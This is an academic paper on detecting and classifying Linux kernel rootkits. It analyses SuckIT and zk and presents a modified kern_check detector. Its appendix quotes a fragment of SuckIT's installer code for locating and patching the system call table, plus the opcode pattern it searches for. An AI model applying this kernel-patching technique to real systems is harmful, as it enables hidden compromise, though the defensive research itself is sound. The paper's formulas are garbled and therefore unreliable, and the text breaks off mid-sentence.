rootkits are one of the most recent developments in the area of computer system exploitation by the hacker community [4]. The kernel is recognized as the most fundamental part of most modern operating systems. The kernel can be considered the lowest level in the operating system. The file system, scheduling of the CPU, management of memory, and system call related operating system functions are all provided by the kernel [5]. User interface to the kernel is accomplished through Figure 1-System Call Table the use of a system call, or sys_call. The application performs a sys_call passing control to the kernel which performs the requested work and provides the output to the requesting application. The addresses of these system calls in kernel memory are maintained in the system call table data structure stored in kernel memory. Unlike a traditional binary rootkit that modifies critical system level programs, a kernel level rootkit may replace or modify the system call table within the kernel itself. This allows the hacker to control the system without others being aware of this. Kernel level rootkits usually cannot be detected by traditional means available to a system administrator. 1.2.1 Kernel Level Rootkits that modify the System Call Table. This type of kernel level rootkit modifies selected sys_call addresses that are stored in the system call table. A kernel level rootkit can use the capability of loadable kernel modules (LKMs). LKMs are a feature that is available in Linux [6]. A LKM can be developed that will modify the sys_call to hide files and processes as well as provide backdoors for a hacker to return to the system. These LKM’s also modify the address table of sys_calls stored in the system call table. They replace the addresses of the legitimate sys_calls with the addresses of the sys_calls that are installed by the hacker’s LKM [9]. A sys_call in a system that has a kernel level rootkit installed may be redirected away from the legitimate sys_call to the kernel level rootkit’s replacement sys_call. The Loadable Kernel Module capability is also available in various UNIX based operating systems [6]. Anexample of this type of rootkit is the KNARK rootkit developed by CREED and released in 2001. Figure 1 shows how redirection of the sys_calls is handled by a rootkit such as KNARK. 1.2.2 Kernel Level Rootkits that redirect the system call table. This type of kernel level rootkit redirects references to the entire system call table to a new location in kernel memory. A new system call table is installed at this memory location. This new system call table may contain the addresses of malicious sys_call functions as well as the original address to any unmodified sys_call functions. One way to accomplish this is by writing to /dev/kmem within the Linux Operating System. The device /dev/kmem provides access to the memory region of the currently running kernel. It is possible to overwrite portions of the kernel memory at runtime if the proper memory location can be found. Kernel level rootkits that redirect the system call table accomplish this by overwriting the pointer to the original system call table with the address of a new system call table that is created by the hacker within kernel memory [6]. Unlike the previous method that was discussed, this method does not modify the original System Call Table and as a result, will still pass current consistency checks. 2. A framework for classifying rootkit exploits We have studied the work that has been done by Thimbleby, Anderson and Cairns [1] in developing a framework for modeling Trojans and computer virus infection. This work dealt with the general case of viruses and Trojans. We have used some of the ideas presented in this work to develop a mathematical framework in order for us to be able to classify rootkit exploits. The focus of our work is more specific in that we are trying to develop a method to classify rootkits as existing, modification to existing, or entirely new. A computer virus has been defined as a computer program that is able to replicate all or part of itself and attach this replication to another program [7]. The type of rootkits that we wish to classify does not normally have this capability so this is not a method that we could use to detect or classify rootkits. A true rootkit program that is intended to replace an existing program on the target system must have the same functionality as the original program plus some increased functionality that has been inserted by the rootkit developer in order to allow backdoor root level access and/or the ability to hide specified files, processes, and network connections on to the target system. This increased functionality is provided by added elements contained within the rootkit program. The increased functionality of the rootkit, with its associated elements, provides a method that can be utilized in order to detect and classify rootkit exploits. Rootkits can be characterized by using a variety of methods to compare the original program to the rootkit program and identify the difference, or delta ( ∇ ) in functionality between the two programs. This ∇ can serve as a potential signature for identifying the rootkit. It has been recognized that evaluating a program file by its CRC checksum is both faster and requires less memory than comparing a file by its contents [8]. The results of this comparison will only tell you that a current program file differs from its original program file. Using this check to detect rootkits would not tell you if this rootkit is an existing, modification to existing, or entirely new rootkit exploit. It is also recognized that Trojan Horse type programs can be detected by comparing them to the original program file that they are intended to replace [8]. The approach we choose to follow is that rootkits can be classified comparing their ∇ against previously identified ∇ ’s of known rootkits. For our framework we assume that we have already identified a program as being part of a potential rootkit. In addition, we have a copy of the original programs that the rootkit replaced. From our definition of a true rootkit we can assume that these two programs are indistinguishable in execution since they will produce similar results for most inputs. Therefore, these two programs are similar to each other. From [1], we recognize that similarity is not equality, i.e. we may not be able to recognize that the programs differ in the amount of time that we have available to analyze them. Two programs are indistinguishable when they reproduce similar results for most inputs. A true rootkit should therefore be indistinguishable from what it is intended to replace since it should have the same functionality as the original programs it is to replace in addition to the new capabilities that were added by the rootkit developer. We also use the quantifiers, similarity (~), indistinguishable ( ≈ ), and the meaning of a program [[• ]] that was presented in [1] and define them in a similar manner. • ~ (similarity) – a poly log computable relation on all possible representations (defined as R) of a computer to include the full state of the machine consisting of memory, screens, registers, inputs, etc. A single representation of R is defined as r. Poly log computable is defined as a function that can be computed in less than linear time meaning a representation can be evaluated without having to examine the entire computer representation. • ≈ (indistinguishable) – two programs that produce similar results for most inputs. • [[• ]] (the meaning of a program) – what a program does when it is run We presume to have two programs: p1, the original program, and p2, identified as malicious version of program p1 that provides rootkit capabilities on the target system. If p2 is part of a true rootkit then p1 and p2 are indistinguishable from each other. These two programs will produce similar outputs for most inputs. In a manner similar to [1] we can state that p1 is indistinguishable from p2 if and only if for most 2 1 :[[ 1]] ~ [[ 2]] p p r p r p R r ≈ ⇒ ∈ meaning for most representations of a machine out of all possible representations the results of program p1 are similar to the results of program p2 which implies that p1 is indistinguishable from p2. We will now apply set theory to show a method to characterize rootkit exploits. We assume to have the following programs: p1 – original set of programs p2 – malicious version of programs that replace p1 programs If p2 is a true rootkit of p1 then we can state that p1 is a subset of p2 since all of the elements that exist in p1 must exist in p2. Then p1 is a proper subset of since all elements of p1 exist in p2 but p1 is not equal to p2, This can be written as: 2 1 p ⊂ p , since 2 1 p ⊆ p and 2 1 p ≠ p meaning p2 has at least one element that does not belong to p1. We will now identify the difference between p1 and p2. ' 2 \ 1 p p p = is the difference between p2 and p1 containing only those elements belonging to p2. This is the ∇ that we have previously discussed. We assume we have identified another rootkit of p1 and call this p3. We can identify this collection of programs as a rootkit of type p2 as follows: If 1 3) ( ' 3 p p p p = ∩ − then p3 contains the same elements as program p2 and is the same rootkit. If the preceding statement is not true but elements of p’ are contained in p3, written as 3 ' p ∈ p , than we can assume that p3 may be a modification of rootkit p2. If there are no elements of p’ in p3, written as 3 ' p ∉ p , than we may assume that p3 is an entirely new rootkit. We will follow these steps in order to classify the example kernel level rootkit that we will be examining. We are examining numerous rootkits as a part of our research, however we only present the details of a few example rootkits in this paper. 3. Existing Methodologies to detect rootkits 3.1 Methods to Detect Binary Rootkits Programs exist to check the integrity of critical system files. There are several host based IDS tools that look at changes to the system files. These programs take a snapshot of the trusted file system state and use this snapshot as a basis for future scans. The system administrator must tune this system so that only relative files are considered in the snapshot. Two such candidate systems are TRIPWIRE and AIDE (Advanced Intrusion Detection Environment) [10]. AIDE is a General Public License (GPL) program that is available for free on the Internet. This program operates by creating a database of specified files. This database contains attributes such as: permissions, inode number, user, group, file size, creation time (ctime), modification time (mtime), access time (atime), growing size and number of links [11]. However, a program like AIDE does have shortcomings. Rami Lehti, in the Aide manual, states ”Unfortunately, Aide cannot provide absolute sureness about changes in files. Like any other system files, Aide’s binary files and/or database can be altered” [11]. There is another free program that checks a system for rootkit detection. This program is known as chkrootkit [12]. The chkrootkit program runs a shell script that checks specific system binaries to determine if a rootkit has been installed on the system. This program also checks to see if the network interfaces on the computer have been set to promiscuous mode, which is a common ploy used by hackers in order to capture network traffic. The program also checks the system logs. The shell script is signature based, therefore the signature must be known in order to detect if a rootkit has been installed on a system. Programs such as chkrootkit may not detect a new rootkit, as well as modifications to existing rootkits. 3.2 Methods to Detect Kernel Level Rootkits Samhain Labs [9] has developed a small command-line utility to detect the presence of a kernel level rootkit. As we have previously explained, the kernel controls any application that is running on the computer. If the application wants to access some system resource, such as reading to or writing from the disk, then the application must request this service from the kernel. The application performs a sys_call passing control to the kernel which performs the requested work and provides the output to the requesting application. A kernel level rootkit can modify these system calls to perform some type of malicious activity. A sys_call in a system that has a kernel level rootkit installed may be redirected away from the legitimate sys_call to the rootkit’s replacement sys_call. It may be possible to detect the presence of a kernel level rootkit by comparing the sys_call addresses in the current system call table with the original map of kernel symbols that is generated when compiling the Linux kernel. A difference between these two tables will indicate that something has modified the system call table [9]. It must be noted that each new installation of the kernel as well as the loading of a kernel module will result in a new mapping of kernel symbols. The following figure (figure 2) shows the output of running the kern_check program on a system infected with the KNARK kernel level rootkit. Figure 2-kern_check output of KNARKed system The output indicates that the addresses of 8 sys_calls currently listed in the system call table currently stored in kernel memory (/dev/kmem) do not match the addresses for those sys_calls in the original map of the kernel symbols. This map of kernel systems is available on the system we examined as /boot/System.map. If the /boot/System.map file is up to date, then the system call table has most likely been modified by a kernel level rootkit. A similar file should be available on other Linux systems. The kern_check program however, does not work with later versions of the Linux kernel. The Linux 2.6 Kernel will no longer export the system call table address. This was done to prevent race conditions from occurring with the dynamic replacement of system call addresses by loadable modules. Red Hat has back ported this feature into later versions of the Linux 2.4 kernel available for Red Hat releases so that it does not export the system call table address. This may also be the case for other Linux distributions. As a result, the query_module command will no longer be able to retrieve the address of the system call table for some newer distributions of Linux utilizing the 2.4 kernel as well as in the Linux 2.6 kernel [13]. In addition, the kern_check program developed by Samhain Labs is unable to detect kernel level rootkits that redirect the system call table. We have modified the kern_check program, which is released under the GPL license, so that it is able to work even if the query_module capability is disabled as well as detect kernel level rootkits that redirect the system call table. We will subsequently address the details of these modifications. 4. An Analysis of the SuckIT kernel level rootkit 4.1 The SuckIT kernel level rootkit. The SuckIT rootkit was developed by sd and devik based on the article they wrote in PHRACK vol. 58, article 7, titled “Linux–on-the-fly kernel patching without LKM”. This article discusses a methodology for modifying the system calls within the Linux kernel without the use of LKM support or the /boot/System.map file [14]. Unlike kernel level rootkits that modify the system call table, this type of rootkit keeps the system call table intact. An examination of the original system call table will not indicate that the system has been compromised by a kernel level rootkit. The SuckIT kernel level rootkit accomplishes this by modifying the System Call Interrupt (system_call() function) that is triggered whenever a User Mode process invokes a system call [15]. The pointer to the normal system call table is changed to the address of the new system call table that is created by the SuckIT rootkit. This new system call table contains the addresses of the malicious system calls that are modified by the SuckIT rootkit as well as the original addresses of any unmodified system calls. Our methodology retrieves the address of the system call table that is stored within the System Call Interrupt and checks this table for modifications. Any modification to this table as well as a mismatch between this retrieved address and the address of the system call table that is maintained within the /boot/System.map file will also indicate that redirection of the system call table is occurring within the kernel. The following features are provided by SuckIT according to the README document for the most recently available version of the program. The list of features is: • Hide PID’s, files, tcp/udp/raw sockets • Sniff TTY’s • Integrated TTY shell access (xor+sha1) invoked through any running service on a server • No requirement to compile program on the target system • Ability to use the same binary on the Linux 2.2 and 2.4 kernel (libc-free) In our examination of the SuckIT source code we did not find the last two features to be true in some cases. We were testing against Red Hat 8.0 (kernel ver 2.4.18- 14) and the standard Linux 2.14.18 kernel. There are compile problems with later versions of the Red Hat Linux 2.4 kernel and the fact that certain system call addresses are no longer being exported necessitated modifications to the SuckIT source code in order to get the program to work on later versions of the 2.4.18-14 kernel. We suspect that this will also be the case with the Linux 2.6 kernel. These changes were not necessary for the standard Linux 2.14.18 kernel. We have conducted an in-depth analysis of the SuckIT source code and infection process. This analysis is available in the appendix to this document. This analysis provided us with the specific ∇ (delta) that can be used to characterize the SuckIT program. We discussed the concept of ∇ in section II of this paper. 4.2 Installation of SuckIT on a RH8.0 System We have installed the SuckIT rootkit on a Red Hat 8.0 system in order to investigate current detection methods as well as to test the feasibility of our proposed methodology to detect kernel level rootkits involving redirection of the system call table. We have also installed the kdb kernel debugger on this system. The installation of kdb required us to install the standard Linux 2.4.18 kernel as opposed to the kernel used with RH8.0, which is 2.4.18-14. In order to install kdb, the kernel must be patched and recompiled. The necessary patch files as well as instructions to accomplish this are available on the web. We then installed the current version of AIDE (Advance Intrusion Detection Environment v 0.9) file integrity checker program. We configured AIDE to run integrity checks on the /bin, /boot, and /sbin directories. If the rootkit (SuckIT) changes any files in these directories we would expect AIDE to detect the changed files. We then ran AIDE on this system to initialize the signature database for future checks. We installed the most current version of the chkrootkit program (v 0.41, released 20 June 2003). This version of chkrootkit specifically states that its ability to we detect the SuckIT rootkit has been improved [20]. Therefore, we also expect that the SuckIt rootkit will be detected by chkrootkit. Before infecting the system with SuckIT we ran AIDE and chkrootkit on the clean system. As expected, we did not detect the presence of an exploit with either program. We infected the target system with the SUCKIT rootkit. The initial install of the SuckIT rootkit failed to compile against the Linux 2.14.18 kernel. We made changes to this code in order to be able to compile it. We choose not to publish these changes but there is no guarantee that a newer version of SuckIT incorporating these changes is not already available in the hacker community. The SuckIT rootkit cleanly installs on the target Linux 2.14.18 kernel with the modified code. It is now possible to hide PID’s, files, and tcp/udp/raw sockets on this system , i.e. the presence of these items will now be hidden from system utilities such as ls, ps, and ifconfig. We will now examine the results of running some of the various GPL software tools that are available in order to detect the presence of a rootkit on the target system. 4.3 chkrootkit results on target system Running the chkrootkit program on a system infected with SuckIT system does not detect the presence of the SuckIT rootkit even if the default values are selected for the hidden directory (/usr/share/locale/sk/.sk12) and the file hiding string (sk12). This program only detects the possible presence of a lkm (loadable kernel module) rootkit by detecting a mismatch between the ps command and a listing of PID’s in the /proc directory. SuckIT does not use loadable kernel modules to compromise the kernel. Running chkrootkit on the infected system will only indicate that some form of kernel level rootkit may be installed. There is no indication of a specific type of rootkit being installed on the target system. The following figure shows the chkrootkit results on the target system infected with SuckIT. Note that the presence of the SuckIT rootkit is not detected (item 2 on list in figure). Figure 3 -chkrootkit results on SuckIT infected system It is significant to note that the chkrootkit program does detect the presence of the SuckIT rootkit only after this rootkit is uninstalled from the target system. Traces of the SuckIT rootkit can be detected when the rootkit is no longer running on the target system. Our analysis indicates that this is due to the redirection capabilities of SuckIT. Upon installation, SuckIT creates a new /sbin/init file after copying over the original /sbin/init file to a file named /sbin/init <file hiding string>. While the SuckIT rootkit is installed on the target system, any reference to the /sbin/init file will be passed the /sbin/init<file hiding string> file, which is the original /sbin/init file. In addition, the /sbin/init<file hiding string> file, as well as any other files with the <file hiding string> appended to their filenames, will remain hidden from the ls directory listing command. 4.4 AIDE results on the target system The AIDE program does not detect the presence of the SUCKIT rootkit. The AIDE program does detect that attributes to the /sbin/telinit file have changed. The /sbin/telinit file is a link to the /sbin/init file. The /sbin directory is a directory that SuckIT targets in the installation of the rootkit, but the AIDE program does not indicate that the system is infected with SuckIT or with a kernel level rootkit. Nor does the AIDE program detect that the kernel of the target system was modified. The AIDE program does not indicate in any way that a redirection of the system call table is occurring on the target system or that the kernel has been compromised. These are the type of results that we would expect from a file integrity check program, i.e., it may be able to tell you that some files have changed, but not what has caused these changes to occur. This type of result motivated us to invent an approach that would tell one what type of rootkit is present as well as what new or modified characteristics are present. We believe that this will allow the security community to react faster to new rootkit exploits. The following figure shows the output of running the AIDE program on the target system that has been infected with the SuckIT rootkit. Figure 4 - AIDE results on SuckIT infected system 4.5 kern_check results on the target system The version of kern_check available from Samhain labs does not detect the presence of the SuckIT rootkit on the target system. Samhain labs do state that the kern_check program is not capable of detecting the SuckIT rootkit [9]. 4.6 Ability of current GPL programs to detect and characterize kernel level rootkit exploits The current GPL programs that we examined have a limited capability to detect instances of kernel level rootkits and none were able to detect that our system was infected with the SuckIT rootkit. In some cases these tools were able to tell us that something suspicious had happened on the system but they were unable to provide us with specific details of what had happened to the system. We will present our methodology for detecting rootkits of this type in the next section of this paper. Our methodology results have been incorporated into a modified kern_check program that is now capable of detecting both types of kernel level rootkits that we have previously discussed. Our modified kern_check program is capable of detecting the SuckIT rootkit. 5. Methods to detect and classify Kernel Level Rootkits We have looked at various programs that currently exist to detect rootkits. These programs may indicate that some type of rootkit is installed on the target system but in most cases they fail to indicate the particular rootkit that is installed. We have developed a methodology that will detect the presence of kernel level rootkits that redirect the System Call Table and present this methodology. This methodology will also work to detect the presence of Kernel Level Rootkits that modify the System Call Table. Preliminary research indicates that this methodology will work on the Linux 2.6 kernel while existing methods may not work. We expect that this methodology will also work on other operating systems. 5.1 Checking the System Call Table against the /boot/System.map file Checking the System Call Table in kernel memory against the /boot/System.map file has already been proposed. This is the technique that the Samhain program kern_check utilizes to detect for instances of kernel level rootkits. However, the kern_check program fails to detect rootkits of the SuckIT variety as well as to detect any type of rootkits on more recent versions of the Linux kernel. Our examination of the SuckIT rootkit revealed to us the first difference, or ∇ in functionality between SuckIT and the program that it replaces. SuckIT overwrites a location in kernel memory that contains the address of the system call table. SuckIT is able to accomplish this by querying a specific register within the processor. It then use this information to find the entry point address within the kernel for the system call table and overwrites this address with the address of a new system call table containing the addresses of some malicious system calls that SuckIT also creates. We present an in depth analysis of how SuckIT accomplishes this within the appendix of this paper. We now have a ∇ consisting of a redirected system call table address, a new system call table, and some new malicious system calls. We propose that you can use the same method that SuckIT uses to query the processor to retrieve the address of the system call table to check and see if this address has been changed by a rootkit such as SuckIT. The original address is available when the kernel is first compiled and this address is stored in the /boot/System.map file. If these addresses differ then a more detailed check can be made of the system call table that currently exists in kernel memory in order to develop a ∇ between the addresses of the system calls that exist in system call table within kernel memory and the addresses of the system calls that exist in the /boot/System.map file. If the /boot/System.map file is current then differences between it and the system call table within kernel memory will indicate that redirection of the system calls is occurring on the system and that the system is infected with some type of rootkit. A preliminary signature can be established based on the number of system calls that are being redirected on the target system. If two different kernel level rootkits change a different number of system calls then we can assume we have two different kernel level rootkits. If these two rootkits change the same system calls then we can conduct are more detailed analysis of each infected system in order to look for differences between the two rootkits. If we do not have the rootkit source code available we can still look for differences though either the kdb program or we can copy segments of kernel memory through /dev/kmem and examining this data off-line. We can use kdb to examine the actual machine code of the malicious system calls since we will have the actual addresses of these malicious system calls within kernel memory. We can also try and disassemble these malicious system calls manually or through the kdb program if it is installed on the system that we are using to investigate this kernel level rootkit. In any case, we are now able to detect that redirection of the system call table is occurring on the target system. We do realize that a hacker may be able to develop a kernel level rootkit that could provide false information concerning the entry point of the system call table within the kernel. At present, however, we are unaware of any kernel level rootkit that is able to do this. The following figure shows the results of running the modified kern_check program on the target system that we have previously infected with the SuckIT rootkit. Figure 5 - Modified kern_check results These are the exact results that we would expect based on our analysis of the SuckIT source code. SuckIT creates 25 new malicious system calls that subvert the original system calls. SuckIT also redirects system call table references to the new system call table that has been created in kernel memory by the rootkit. This is indicated by the first line of the modified kern_check program output which is the address of this new system call table (kaddr = cc1e8000). This address differs from the address of the system call table that is stored in the /boot/System.map file, which is the address of the original system call table on the target system. We retrieved this address by using the grep command to search the /boot/System.map file as indicated in the bottom of the above figure. If we run the modified kern_check program against this address, no redirection of the system calls would be detected. However, the address that the kernel is using to retrieve system calls from the system call table is the malicious address since this is the address that we retrieve as a result of querying the processor. Even if we did not have the SuckIT source code available, we could still use this methodology to detect that a kernel level rootkit targeting system calls is installed on this system. If the address that is retrieved from the modified kern_check program matches the address from the /boot/System.map file but the addresses of specific system calls differ, then a kernel level rootkit that modifies the system call table is installed on the system. If the address retrieved by the modified kern_check program does not match the /boot/System.map address, then a kernel level rootkit that redirects the system call table is installed on the target system. The /boot/System.map file is created when a Linux kernel is compiled. It should remain consistent for all installations of that kernel on a particular architecture. If this file is not available on a particular system the system will still work but debugging will be difficult [21]. One should be able to retrieve a copy of the /boot/System.map file for a standard Linux installation on a particular architecture. One can make a copy of the /boot/System.map for custom installations (e.g. system with patches to a kernel) on any critical system when this system is first compiled for future reference. It is necessary to have a copy of the /boot/System.map file in order to run the kern_check program. However, it is possible to build a customized kern_check program for a specific system that would incorporate the /boot/System.map file for that system which is created when the system is first built. This program would contain the information that is stored within the /boot/System.map file. This version of kern_check can be used on that specific custom system or on systems of that specific configuration and architecture. This program would have to be rebuilt each time a new kernel is installed on the computer. We have not investigated this approach in this research. A copy of the modified kern_check program (available under the GPL license) is available a the following website: http://users.ece.gatech.edu/~owen/ under research. You could also construct your own program to check the system call table following the methodology presented within this paper. 5.2 Analysis of the zk kernel level rootkit involving redirection of the system call table. We now follow the methodology presented in this paper as applied to another rootkit. The rootkit that we examine next is the zk rootkit developed by zaRwT@zaRwt.net. The documentation for this rootkit states that many of the features concerning patching of the kernel (/dev/kmem “Patching”) were borrowed from SuckIT. Therefore, we would expect that it is possible to detect the zk rootkit using the methods that we have just presented. However, the documentation talks about additional features that are different from what is contained in SuckIT. Our preliminary belief is that zk is a modification to the already existing SuckIT rootkit. Figure 6 - SuckIT install and uninstall We set up two systems running the Linux 2.14.18 kernel to be able to compare both the SuckIT and zk rootkits. In order to try and identify some ∇ between these two programs. We were able to install SuckIT successfully. Running the modified kern_check program indicated that the system was infected with SuckIT. The next step was to uninstall SuckIT. This was successful as indicated in figure 6 below. Running the modified kern_check program indicated that the system was no longer infected. At this point the system was back to its original clean configuration concerning the system call table and the system calls that would be used in kernel memory. We had to make some changes to the zk rootkit before being able to install it, which was similar to what we had to do with SuckIT. Running the modified kern_check program on a system infected with zk results in an indication that the same 25 system calls that were modified by SuckIT are also being modified by the zk rootkit. The results of running the modified kern_check program on the zk infected system is similar to the output shown in figure 5 which represents the output of running the modified kern_check program on a SuckIt infected system. These are the results that we would expect based on the documentation from the zk rootkit. We then installed zk successfully and verify this with the modified kern_check program. The program indicated that the same 25 system calls were suspect. However we were not able to uninstall the zk rootkit program. This is the first indication that SuckIT and zk are not the same. We can now look to try and identify some ∇ between these two programs. One of the first things that we noticed is that when we try to run the uninstall command on the zk rootkit (# ./zk u), a usage statement is output to the screen and the program does not uninstall as indicated in figure 7. This is not the case with SuckIT, the uninstall program for SuckIT (# ./sk u) is successful Figure 7 - zk uninstall In order to uninstall the zk rootkit, the usage statement indicates that a password must be used. There in no reference to this uninstall password within the zk rootkit documentation and there is no indication of how to set this password. We used the zk usage statement to try and identify a ∇ . We conducted a grep search for the term ‘password’ within the source code directory for the zk rootkit. The results of this search indicate that the term ‘password’ exists within the client.c source code file. A file by the same name exists for the SuckIT rootkit. Comparing these two files using the resident diff command indicates that these two files do in fact differ. We then conducted a more complete search on the zk client.c file. We identified a password ‘kill me’ within the client.c file The following figure shows the results of this search. Figure 8 - Uninstall password for zk rootkit We are then able to successfully uninstall the zk rootkit by using the following command: # ./zk u kill me. Running the modified kern_check program on the system indicates that the system is no longer infected. Having both rootkits installed on a system allows you to continue to identify ∇ ’s, or differences between the two rootkits. The string ‘kill me’ can be used as a signature to detect instances of the zk rootkit. Other potential signatures can be identified from both rootkits in a similar manner. 6. Conclusion We have presented a methodology to detect and classify kernel level rootkits exploits involving redirection of the system call table within this paper. The mathematical framework presented will help in determining if an identified rootkit is an existing rootkit, a modification to an existing rootkit or an entirely new rootkit. A true binary or kernel rootkit should maintain the original functionality of the program or programs that it is intended to replace plus some added capability introduced by the rootkit developer. This added capability can be used to characterize the rootkit. Two rootkits that have the same added capabilities are the same rootkits. A rootkit that has elements of some previously characterized rootkit is a modification to that rootkit and a rootkit that has entirely new characteristics is a new rootkit. We conducted an in-depth analysis of the SuckIT rootkit in order to develop a characterization. In addition, we demonstrated the shortcomings that exist in current GPL tools that are available to detect rootkit exploits. Our work resulted in a methodology to detect kernel level rootkits that attack the system call table that is resident in kernel memory. We demonstrated the application of this methodology against two specific kernel level rootkit exploits. We were able to detect the presence of both of these rootkits as well as identify similarities and differences between them. This can help to generate rootkit signatures to aid in the detection of these types of exploits. This methodology will allow system administrators and the security community to react faster to new kernel rootkit exploits. REFERENCES [1] H. Thimbleby, S. Anderson, p. Cairns, “A Framework for Modeling Trojans and Computer Virus Infections,” The Computer Journal, vol. 41, no.7 pp. 444-458, 1998. [2] E. Cole, Hackers Beware, Indianapolis, In: New Riders, 2002, pp. 548-553. [3] D. Dettrich, (2002, 5 JAN) “Root Kits” and hiding files/directories/processes after a break-in, http:// staff.washington.edu/dittrich/misc/faqs/rootkits.faq [4] E. Skoudis, Counter Hack, Upper Saddle River, NJ: Prentice Hall PTR: 2002, p. 434. [5] A. Silberschatz, P. Galvin, G. Gagne, Applied Operating System Concepts, New York, NY: John Wiley & Sons: 2003, p. 626. [6] Samhain Labs, The Basics– Subverting the Kernel, http://la-samha.de/library/rootkits /basics.html, July 2003 [7] Cohen, F. , “Computer Viruses”, Computers & Secuirty. 6(1), pp.22-35., 1987. [8] http://vx.netlux.org/lib/static/vdat/epvirlib.htm, Aug 2003 [9] Samhain Labs, Detecting Kernel Rootkits, http://la- samha.de/library/rootkits/detect.html, July 2003 [10] S. Northcut, L. Zeltser, S. Winters, K. Kent Fredericks, R. Ritchey, Inside Network Perimeter Security. Indianapolis, In: New Riders, 2003, pp. 283-286. [11] R. Lehti , “ The Aide Manual”, www.cs.tut.fi ~rammer /aide /manual.html , SEP 2002 [12] http://www.chkrootkit.org [13] Samhain Labs (email, 27 JAN 2003) [14] s.d., devik, Linux-on-the-flykernel patching without LKM, http://www.pharack.org/phrack/58/p58-0x07, 12 Dec 2002. [15] D. Bovet, M. Cesati, Understanding the Linux Kernel, Sebastopol, CA: O’Reilly & Associates, 2003, pp304- 306. [16] http://www.intel.com/design/intarch/techinfo/pentium/in strefs.htm#96030, Jul 2003. [17] http://www.intel.com/design/intarch/techinfo/pentium, Jun 2003 [18] D. Bovet, M. Cesati, Understanding the Linux Kernel, Sebastopol, CA: O’Reilly & Associates, 2003, p 255. [19] J. Levine, J. Grizzard, P. Hutto, H. Owen, An Analysis of a Kernel Level Rootkit (knark), unpublished. [20] http://www.chkrootkit.org [21] http://tldp.org/HOWTO/Kernel-HOWTO /kernel_files _info.html#systemmap Appendix A. How the SuckIT Rootkit Functions on the Target System An individual wishing to install the SuckIT rootkit on a target system must already have gained root level access on this system. There are a variety of methods available for a hacker to accomplish this and this is outside of the scope of this paper. We assume that a hacker has already gained root level access for our the purposes of our research. One of the key features of the SuckIT rootkit is its ability to identify the correct location to overwrite within the kernel memory. The SuckIT rootkit uses the following segment of code within the install.c program file to do this: asm ("sidt %0" : "=m" (idtr)); printf("RK_Init: idt=0x%08x, ", (uint) idtr.base); if (ERR(rkm(fd, &idt80, sizeof(idt80), idtr.base + 0x80 * sizeof(idt80)))) { printf("IDT table read failed (offset 0x%08x)\n", (uint) idtr.base); close(fd); return 1; } old80 = idt80.off1 | (idt80.off2 << 16); sct = get_sct(fd, old80, sctp); This code works by querying the processor for the address of the Interrupt Descriptor Table. The SuckIT program uses the sidt command to accomplish this. The sidt command is part of the Instruction Set for the INTEL Pentium (x86) Architecture. The purpose of this command is to store the Interrupt Descriptor Table Register (idtr) in the destination operand [16]. A different command would be required if Linux were implemented on an architecture that differed from the INTEL Pentium (x86) architecture. SuckIT was written to run on this architecture. This rootkit first makes use of by the asm(“sidt %0 : “=m” (idtr)); command. The asm command signifies to the compiler that assembly language instructions are being used. This command returns the address of the Interrupt Descriptor Table within kernel memory. This address is then printed out by the printf("RK_Init: idt=0x%08x, ", (uint) idtr.base); command. The next series of commands is where the program retrieves the actual address of the System Call Interrupt (system_call() function) from the Interrupt Descriptor Table. To invoke this function within Linux, the int $0x80 assembly instruction must be invoked. The install.c program calls a function rkm that reads kernel memory with the following line of code: rkm(fd,&idt80,sizeof(idt80),idtr.base+0x80*sizeof(idt80)) $ gdb -q /boot/vmlinux (gdb) disass system_call Dump of assembler code for function system_call: 0xc01070fc <system_call>: push %eax 0xc01070fd <system_call+1>: cld 0xc01070fe <system_call+2>: push %es 0xc01070ff <system_call+3>: push %ds 0xc0107100 <system_call+4>: push %eax 0xc0107101 <system_call+5>: push %ebp 0xc0107102 <system_call+6>: push %edi 0xc0107103 <system_call+7>: push %esi 0xc0107104 <system_call+8>: push %edx 0xc0107105 <system_call+9>: push %ecx 0xc0107106 <system_call+10>: push %ebx 0xc0107107 <system_call+11>: mov $0x18,%edx 0xc010710c <system_call+16>: mov %edx,%ds 0xc010710e <system_call+18>: mov %edx,%es 0xc0107110 <system_call+20>: mov $0xffffe000,%ebx 0xc0107115 <system_call+25>: and %esp,%ebx 0xc0107117 <system_call+27>: testb $0x2,0x18(%ebx) 0xc010711b <system_call+31>: jne 0xc010717c <tracesys> 0xc010711d <system_call+33>: cmp $0x100,%eax 0xc0107122 <system_call+38>: jae 0xc01071a9 <badsys> 0xc0107128 <system_call+44>: call *0xc02d1890(,%eax,4) 0xc010712f <system_call+51>: mov %eax,0x18(%esp,1) 0xc0107133 <system_call+55>: nop End of assembler dump. (gdb) print &sys_call_table $1 = (<data variable, no debug info> *) 0xc02d1890 (gdb) x/xw (system_call+44) 0xc0107128 <system_call+44>: 0x908514ff This functions returns a pointer to the Interrupt Descriptor of the System Call Function (int $0x80). The program is now able to compute the entry point of the System Call function within kernel memory. This is accomplished by the following code: old80 = idt80.off1 | (idt80.off2 << 16);. However, this entry point does not provide the actual memory location that needs to be overwritten by the SuckIT rootkit in order to redirect any system calls to a malicious system call table that is created by the rootkit. We can examine the System Call Function assembly code within the kernel image (vmlinux) loaded at boot up by utilizing the resident code debugger (gdb - the GNU debugger) that exists within Red Hat Linux [14]. A specific system call function is invoked by the following: call *sys_call_table(,%eax,4) the %eax register contains the number of the specific system call that is being called by the user program. Each entry in the system call table is four bytes long. To find the address of the system call that is to be invoked it is necessary to multiply the system call number (value stored in %eax register) by 4 (address size for 32 bit address) and add the result to the initial address of the system call table [15]. By examining this dump code, we see that the assembly code at location 0xc0107128 (<system_call+44>: call *0xc02d1890(,%eax,4)) corresponds to this command since we have also demonstrated that the value stored at the system call table = 0xc02d1890. We now wish to examine the memory at location <system_call+44>. We utilize the x/Format Address command within gdb to do this. The exact format used is: (gdb) x/xw (system_call+44) where xw – hex format word size. The output of this command is 0x908514ff which is opcode in little endian format. The opcode 0xff 0x14 0x85 0x<address of the System Call Table> matches to the pattern ‘call *some address)( ,%eax, 4)’ . This opcode pattern gives the SuckIt rootkit a specific pattern to search for within /dev/kmem. The address that follows this series of opcode is then changed by SuckIT to the address of the new System Call Table that the rootkit creates. Current LKM detectors do not check the consistency of the int $0x80 function [14]. We find this to be significant because we propose that like SuckIT, one can query the int $0x80 function to retrieve the current pointer to the System Call Table that is in use within the kernel and then check the integrity of this System Call Table in order to determine if this system has been infected with a kernel level rootkit of either type. We have analyzed of the opcode series /xff /x14/x85/ to be sure that this will consistently be the opcode that SuckIT will need to search for in order to find the correct spot to modify the pointer to the System Call Table within /dev/kmem. According to the description of the Instruction Set of the INTEL Embedded Pentium ® Processor Family, the Opcode for the 